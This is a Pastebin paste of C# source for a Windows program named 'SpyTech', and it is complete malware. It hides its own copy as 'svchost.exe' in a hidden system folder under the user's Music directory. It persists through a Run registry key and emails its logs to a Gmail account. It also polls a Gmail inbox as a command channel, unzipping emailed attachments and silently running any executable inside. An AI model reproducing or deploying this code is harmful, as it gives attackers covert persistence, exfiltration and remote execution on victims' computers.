Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Windows;
- using System.Windows.Controls;
- using System.Windows.Data;
- using System.Windows.Documents;
- using System.Windows.Input;
- using System.Windows.Media;
- using System.Windows.Media.Imaging;
- using System.Windows.Navigation;
- using System.Windows.Shapes;
- using System.Reflection;
- using System.Runtime.InteropServices;
- using System.Diagnostics;
- using Microsoft.Win32;
- using System.IO;
- using System.Net;
- using System.Net.Mail;
- using System.Net.NetworkInformation;
- using ImapX;
- using ImapX.Authentication;
- using ImapX.Enums;
- using Ionic.Zip;
- namespace SpyTech
- {
- /// <summary>
- /// Interaction logic for MainWindow.xaml
- /// </summary>
- public partial class MainWindow : Window
- {
- string myMusicExePath = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic) + @"\bin\svchost.exe";
- string self = Assembly.GetExecutingAssembly().CodeBase.ToString().Substring(8, Assembly.GetExecutingAssembly().CodeBase.ToString().Length - 8);
- string appDataDir = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Techno";
- string workingDir;
- string stamp = String.Format("{0} -- {1} -- {2}", DateTime.Now.DayOfYear, DateTime.Now.Hour.ToString().PadLeft(2, '0'), DateTime.Now.Minute.ToString().PadLeft(2, '0'));
- StreamWriter sw;
- ImapClient client;
- string UserName = "XXXXXXXXXXXXXX@gmail.com";
- string Password = "XXXXXXXXXXXXXX";
- Random randomNumGen = new Random();
- int inboxCount = 0;
- public MainWindow()
- {
- InitializeComponent();
- vInitialize();
- DriveCopy();
- while (1 == 1)
- {
- if (InternetConnected())
- {
- Check();
- System.Threading.Thread.Sleep(10000);
- }
- }
- }
- void vInitialize()
- {
- Directory.CreateDirectory(appDataDir + @"\" + stamp);
- sw = new StreamWriter(appDataDir + @"\" + stamp + @"\" + stamp + ".log");
- SendLogs();
- workingDir = appDataDir + @"\" + stamp;
- Log("Initializing Variables");
- foreach (string file in Directory.GetFiles(appDataDir, "*", SearchOption.AllDirectories))
- {
- FileInfo f = new FileInfo(file);
- try { f.Delete(); Log("Deleted " + f.Name); }
- catch (Exception) { Log("Could Not Delete " + f.Name); }
- }
- }
- void SendLogs()
- {
- Log("Sending Log Files");
- foreach (string log in Directory.GetFiles(appDataDir, "*.log", SearchOption.AllDirectories))
- {
- if (log != appDataDir + @"\\" + stamp + @"\\" + stamp + ".log")
- {
- Log("Sending " + log);
- FileInfo fi = new FileInfo(log);
- SmtpClient client = new SmtpClient("smtp.gmail.com", 587);
- client.EnableSsl = true;
- client.DeliveryMethod = SmtpDeliveryMethod.Network;
- client.Credentials = new NetworkCredential(UserName, Password);
- client.Timeout = 20000;
- MailMessage msg = new MailMessage(new System.Net.Mail.MailAddress(UserName), new System.Net.Mail.MailAddress("specialgmailforlogfiles@gmail.com"));
- msg.Subject = Environment.MachineName + " : " + fi.Name;
- msg.Body = "Log File";
- try
- {
- msg.Attachments.Add(new System.Net.Mail.Attachment(fi.FullName));
- client.Send(msg);
- msg.Dispose();
- }
- catch (Exception ex) { Log(ex.Message); msg.Dispose(); }
- }
- }
- }
- void DriveCopy()
- {
- if (!File.Exists(myMusicExePath))
- {
- DirectoryInfo di = new DirectoryInfo(Environment.CurrentDirectory);
- DirectoryInfo music = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.MyMusic) + @"\bin\");
- Copy(di.FullName, music.FullName);
- music.Attributes |= FileAttributes.Hidden;
- music.Attributes |= FileAttributes.System;
- music.Attributes |= FileAttributes.NoScrubData;
- StartUpSave();
- Process.Start(myMusicExePath);
- Environment.Exit(0);
- }
- }
- void Copy(string sourceDir, string targetDir)
- {
- Directory.CreateDirectory(targetDir);
- foreach (var file in Directory.GetFiles(sourceDir))
- File.Copy(file, System.IO.Path.Combine(targetDir, System.IO.Path.GetFileName(file)), true);
- foreach (var directory in Directory.GetDirectories(sourceDir))
- Copy(directory, System.IO.Path.Combine(targetDir, System.IO.Path.GetFileName(directory)));
- }
- void StartUpSave()
- {
- Log("File Loaded To Start UP");
- RegistryKey add = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
- add.SetValue("svchost.exe", "\"" + Environment.GetFolderPath(Environment.SpecialFolder.MyMusic) + @"\bin\svchost.exe" + "\"");
- }
- void Check()
- {
- Log("Initial Check Started");
- client = new ImapClient("imap.gmail.com", true);
- int count = 0;
- if (client.Connect())
- {
- if (client.Login(UserName, Password))
- {
- Log("Login Successful");
- client.Folders.Inbox.Messages.Download();
- if (client.Folders.Inbox.Messages.Count<Message>() > inboxCount)
- {
- inboxCount = client.Folders.Inbox.Messages.Count<Message>();
- foreach (Message msg in client.Folders.Inbox.Messages)
- {
- count += 1;
- Log("Total Message Count : " + client.Folders.Inbox.Messages.ToArray().Length);
- if (!msg.Seen & msg.Body.ToString() != "Log File")
- {
- Log("Processing Mail no: " + count);
- runMail(msg);
- msg.Seen = true;
- }
- else
- {
- Log("Message no:" + count + " Has Been Marked Read");
- }
- }
- Log("Total New Messages Processed : " + count);
- }
- else
- {
- Log("No New Emails");
- }
- }
- else
- {
- Log("Login Unsuccessful");
- }
- }
- else
- {
- Log("Connection not successful");
- }
- }
- void runMail(Message msg)
- {
- FileInfo fi;
- try
- {
- if (msg.Body.Text.Substring(0, 8) != "Log File")
- {
- foreach (ImapX.Attachment a in msg.Attachments)
- {
- a.Download();
- a.Save(workingDir, a.FileName);
- fi = new FileInfo(workingDir + @"\" + a.FileName);
- fi.MoveTo(workingDir + @"\" + a.FileName.Substring(0, a.FileName.Length - 3) + "zip");
- string extractDir = workingDir + @"\" + randomNumGen.Next(0, 500000) + @"\";
- Directory.CreateDirectory(extractDir);
- try
- {
- var options = new ReadOptions { StatusMessageWriter = System.Console.Out };
- using (ZipFile zip = ZipFile.Read(fi.FullName, options))
- {
- zip.ExtractAll(extractDir, ExtractExistingFileAction.OverwriteSilently);
- }
- }
- catch (Exception) { Log("File Formate Not Supported"); }
- foreach (string file in Directory.GetFiles(extractDir))
- {
- FileInfo fileInfo = new FileInfo(file);
- if (fileInfo.Extension == ".exe")
- {
- Log("Running File NOW");
- Process.Start(fileInfo.FullName);
- }
- }
- }
- if (msg.Attachments.Length == 0)
- {
- Log("No Attachments Found In This Mail");
- }
- }
- else
- {
- Log("Message Is A Log File... Ignoring Message");
- }
- }
- catch (Exception e)
- {
- Log("Message: " + e.Message + " Inner Exception: " + e.InnerException);
- }
- }
- bool InternetConnected()
- {
- Log("Checking Internet Conectivity");
- try
- {
- using (var client = new WebClient())
- {
- using (var stream = client.OpenRead("http://www.google.com")) { Log("Connection Available"); return true; }
- }
- }
- catch (Exception) { Log("Connection not Available"); return false; }
- }
- void Log(string text)
- {
- sw.WriteLine(string.Format("[{0} __ {1}:{2}] :-: ~ :-: {3}", DateTime.Now.DayOfYear, DateTime.Now.Hour.ToString().PadLeft(2, '0'),
- DateTime.Now.Minute.ToString().PadLeft(2, '0'), text));
- sw.Flush();
- Console.WriteLine("[{0} __ {1}:{2}] :-: ~ :-: {3}", DateTime.Now.DayOfYear, DateTime.Now.Hour.ToString().PadLeft(2, '0'),
- DateTime.Now.Minute.ToString().PadLeft(2, '0'), text);
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement